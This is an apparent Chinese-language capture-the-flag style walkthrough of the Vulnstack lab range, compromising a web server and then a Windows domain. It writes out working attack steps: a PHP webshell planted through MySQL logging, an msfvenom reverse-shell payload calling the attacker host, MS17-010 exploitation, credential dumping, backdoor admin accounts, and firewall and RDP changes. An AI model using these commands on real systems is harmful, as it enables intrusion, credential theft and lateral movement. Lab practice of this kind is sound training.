前言
靶机详细信息
1 | http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ |
环境搭建
环境拓扑图
攻击机kali 和 靶机都通过 Vmware 进行部署。
添加虚拟网卡
靶机内网设置的都是静态id,网段是在192.168.52.0
,所以需要先添加一个虚拟网卡,将子网地址设置为192.168.52.0
,用来管理靶机内网,我这里创建的是Vmnet2
。
通过拓扑图可以知道,kali 、物理机和靶机的win7的外网网卡在 172.20.10.0
,这个网段是通过Vmnet8
虚拟出来的, 而 win7的内网网卡 、域控服务器 windows server 2008和win 2k3 在 192.168.52.0
这个网段。
所以,这里只需要在vmware给kali 连接方式设置为Vmnet8,win7添加两张网卡,分别添加 vmnet8
和vmnet2
,其余靶机添加 vmnet2
即可。
攻击机 kali
1 | IP: 172.20.10.128 |
WEB服务器 windows 7
1 | 外网IP:172.20.10.156 |
禁用PING检测
1 | IP:192.168.52.138 |
域成员服务器 Win 2k3
1 | IP:192.168.52.141 |
外网打点:web服务器
信息收集
主机发现
首先,我们需要知道那些ip存活,扫描C段,
1 | sudo netdiscover -i eth0 -r 172.20.10.0/24 |
端口扫描
通过扫描c段,我们发现了 172.20.10.156
主机存活,接下来对其进行端口扫描
1 | sudo nmap -sS -Pn -p 1-65535 -sV -n 172.20.10.156 |
通过nmap扫描结果,可以知道目标主机开放了 80
和 3306
端口,分别对应 http
服务和mysql
服务
接下来访问目标主机的http
服务
1 | http://172.20.10.156/ |
一个phpstudy的展示页面,泄露了一些服务器的信息。
目录扫描
网页比较简陋,但是泄露了大量的服务器隐私信息,接下来使用 dirsearch
工具扫一下目录
1 | python3 .\dirsearch.py -u "http://172.20.10.156/" |
发现网站目录下存在多套网站系统 ycms
和 phpmyadmin
,phpmyadmin 可能会存在历史漏洞,接下来访问phpmyadmin
看看
漏洞利用:弱口令
尝试弱口令 root/root
成功进行后台管理页面,但是没有发现phpmyadmin的具体版本号。
不过可以结合phpstudy的展示页面泄露的网站绝对路径,尝试使用phpmyadmin在线执行sql语句的功能进行sql写马。
漏洞利用:myql 写马(失败)
1 | Select '<?php eval($_POST["cmd"]);?>' into outfile 'C:/phpStudy/WWW/cmd.php'; |
报错了,这是因为限制了导入与导出的目录权限。只允许在规定的目录下才能导入。
查看变量secure-file-priv 的值
1 | show global variables like '%secure%'; |
值为 NULL
1 | (1)NULL,表示禁止。 |
那就换一种方式
漏洞利用:全局日志写入shell
查看全局变量general_log
1 | show global variables like '%general_%'; |
开启全局日志并修改日志保存位置
1 | set global general_log=on; |
将一句话木马写入日志
1 | select "<?php eval($_POST['cmd']);?>" |
访问
1 | http://172.20.10.156/cmd.php |
成功写入,使用蚁剑连接
成功拿到一个shell
权限维持
使用cs进行权限维持
我们这里使用cobalt strike 进行上线
首先,我们在kali中启动一个 cs服务端
1 | sudo ./teamserver 172.20.10.128 fany |
然后启动一个客户端,并连接
1 | java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -jar cobaltstrike.jar |
创建一个监听器
生成一个 powershell 的payload
得到一个 txt文件
接下来在蚁剑的虚拟终端中执行 文件中这一串payload
接下来回到 cs 客户端中,发现成功上线
提权
接下来使用cs自带的工具进行提权
选择刚刚创建的监听器
成功提权到system,已经成功拿下这台靶机。
我们还需要打入内网,接下来对该主机进行信息收集
主机信息收集
通过查看网卡信息,发现内网网段
内网网段
1 | 192.168.52.0 |
收集域信息(由于靶机上的phpstudy启动报错,http服务无法启动,无法通过蚁剑收集域信息,所以这部分信息通过msf的shell收集)
域
1 | god.org |
通过域名,我们可以拿到域控的IP为 192.168.52.138
查看域内所有用户列表
1 | net group /domain |
查看域成员计算机列表
1 | net group "domain computers" /domain |
查看域管理员用户
1 | net group "domain admins" /domain |
主机密码收集
得到Administrator
的密码为hongrisec@2019
开启远程桌面登录
1 | 注册表开启3389端口 |
成功开启,结合刚刚获取到的用户名密码,进行远程登录
发现连不上,可能是防火墙开启的原因,关闭防火墙
1 | netsh advfirewall set allprofiles state off |
再次连接成功
在桌面发现nmap工具,可以使用nmap对内网网段进行主机发现,也可以使用其他工具,这里我们使用fscan
。
内网信息收集
已经可以远程登录到win7这台靶机,接下来通过该靶机上传一个fscan对内网网段进行扫描。
1 | fscan.exe -h 192.168.52.1/24 |
通过fscan扫描,可以得知,除当前靶机外的ip地址 192.168.52.143
外 还存在另外两个ip地址
1 | 192.168.52.138 |
fscan检测出这两个ip 都存在 ms17-010漏洞,可以通过msf的漏洞利用模块进行进一步利用,但是我们 kali 和这两台靶机的不在同一个网段,路由不可达,所以,我们需要通过win7靶机做一个跳板。
思路:通过cs派生一个shell给 msf,然后通过msf 添加一条 可通过 192.168.52.0
网段的路由,最后通过 msf的 ms17-010漏洞利用模块进行利用。
横向移动准备
cobalt strike 派生shell 给 msf(失败)
首先在msf上配置一个监听
1 | use exploit/multi/handler |
然后在 cobalt strike 上创建一个IP和端口跟MSF一样的监听
选择刚刚的创建的监听器 |
几秒钟后 msf 获取到一个shell
注意这里通过CS派生出来的shell存在一个问题,隔几秒钟之后就会断掉。
手动上线
通过CS派生出来的shell很容易掉,所以这里我们直接生成一个exe的木马,上传到win7 上执行
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.128 LPORT=4455 -f exe > system.exe |
接下来 在msf开启监听
1 | use exploit/multi/handler |
将生成的system.exe
拷贝到 靶机 win 7 中执行
成功上线
添加路由
1 | route add 192.168.52.0 255.255.255.0 2 |
内网渗透:域控服务器
通过前面的准备,我们的MSF的流量已经可以通向192.168.52.0
这个网段。
接下来,我们对 52.138
和 52.141
这两个ip 进行MS17-010漏洞利用,在对域god.org
进行解析的时候,发现对应的ip为192.168.52.138
,此IP很可能是域控。
永恒之蓝漏洞利用
接下来,使用MSF进行利用
搜索ms17-010
利用模块
1 | search ms17-010 |
不确定目标靶机的版本信息,先使用auxiliary/scanner/smb/smb_ms17_010
检测一下
可以确定存在 MS17-010漏洞,靶机的操作系统为 Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64
使用 exploit/windows/smb/ms17_010_eternalblue
模块进行利用
payload windows/x64/meterpreter/bind_tcp
利用失败了
使用 exploit/windows/smb/ms17_010_psexec
模块
payload windows/meterpreter/bind_tcp
同样利用失败,猜测是目标靶机开启了防火墙。
使用 auxiliary/admin/smb/ms17_010_command
模块 执行命令
执行 whoami
可以成功执行命令,通过执行命令的方式来关闭防火墙。
1 | netsh advfirewall set allprofiles state off |
再次使用 exploit/windows/smb/ms17_010_eternalblue
模块进行利用
依旧失败
使用 exploit/windows/smb/ms17_010_psexec
模块
成功得到system shell
后渗透
使用后渗透工具kiwi
1 | load kiwi # 加载 |
拿到 liukaifeng01
用户的密码hongrisec@2022
开启远程桌面
1 | run post/windows/manage/enable_rdp |
使用kali自带的rdesktop连接
1 | rdesktop 192.168.52.138 |
注意 当我们使用rdesktop去连接 192.168.52.0
这个网段是连接不上的,在MSF中添加的路由,只适用于MSF中。
使用MSF+proxychains4进行内网流量转发
使用 auxiliary/server/socks_proxy
开启 socks5服务
配置 proxychains4
1 | sudo vim /etc/proxychains4.conf |
1 | proxychains4 rdesktop 192.168.52.138 |
用刚刚获取到的用户成功登录
至此,拿下来域控
内网渗透:域成员服务器
通过fscan扫描,可以知道这两台靶机都存在ms17-010漏洞,接下来通过,MSF对另一台靶机192.168.52.141
进行漏洞利用。
永恒之蓝漏洞利用
使用 exploit/windows/smb/ms17_010_psexec
模块进行漏洞利用
经过多次尝试,一直无法成功利用
尝试使用 auxiliary/admin/smb/ms17_010_command
执行命令
可以成功执行命令
接下来的利用思路利用该模块是创建用户,开启3389远程登录上去
首先set command net user faany "hongrisec@2022" /add
添加用户(注意 这里如果密码设置太简单,是不会创建成功的,我也是踩坑多次才发现)
然后 set command net localgroup administrators faany /add
添加管理员权限
set COMMAND net localgroup administrators
查看管理员组用户
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
执行命令开启3389端口
远程桌面连接
1 | proxychains4 rdesktop 192.168.52.141 |
成功拿下
相关知识点
内网主机发现几种方式
1 | proxychains4+nmap (比较慢) |
msf模块
1 | post/windows/gather/arp_scanner(比较快) |
fscan(比较快,还可以扫描漏洞)
远程桌面登录命令
1 | 注册表开启 3389 |
靶机执行命令回显乱码
1 | chcp 65001 |
frp 开启socks5代理服务
服务端(linux)
配置
frps.ini
1 | [common] |
启动
1 | ./frps -c frps.ini |
客户端(windows)
配置
frpc.ini
1 | [common] |
启动
1 | frpc.exe -c frpc.ini |
使用Proxifier测试
成功
通过 msf ms17-010 执行命令 创建用户并开启远程桌面
set command net user fany p@ssword! /add
添加用户
set command net localgroup administrators fany /add
添加管理员权限
set COMMAND net localgroup administrators
查看管理员组用户
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
执行命令开启3389端口
set command netsh firewall set opmode mode=disable
关闭防火墙
后渗透:利用msf模块开启远程桌面
run post/windows/manage/enable_rdp
后渗透攻击kiwi用法
1 | creds_all:列举所有凭据 |
总结
通过外网的web服务器利用mysql写马到全局日志拿到一个webshell权限,再通过cs自带的提权工具进行提权,拿到靶机的root权限,因为做代理,MSF做代理要方便些,就通过MSF来管理shell,最后通过永恒之蓝漏洞拿下内网的两台靶机,整个过程都不是很难,通过这个靶场也学到了渗透后一些信息收集的方式以及后渗透工具的利用,再打的时候,靶机ip会自动更换,导致常常拿到的shell总是掉,然后还需要重新生成马儿来拿shell,这点会很烦,有点考验耐心。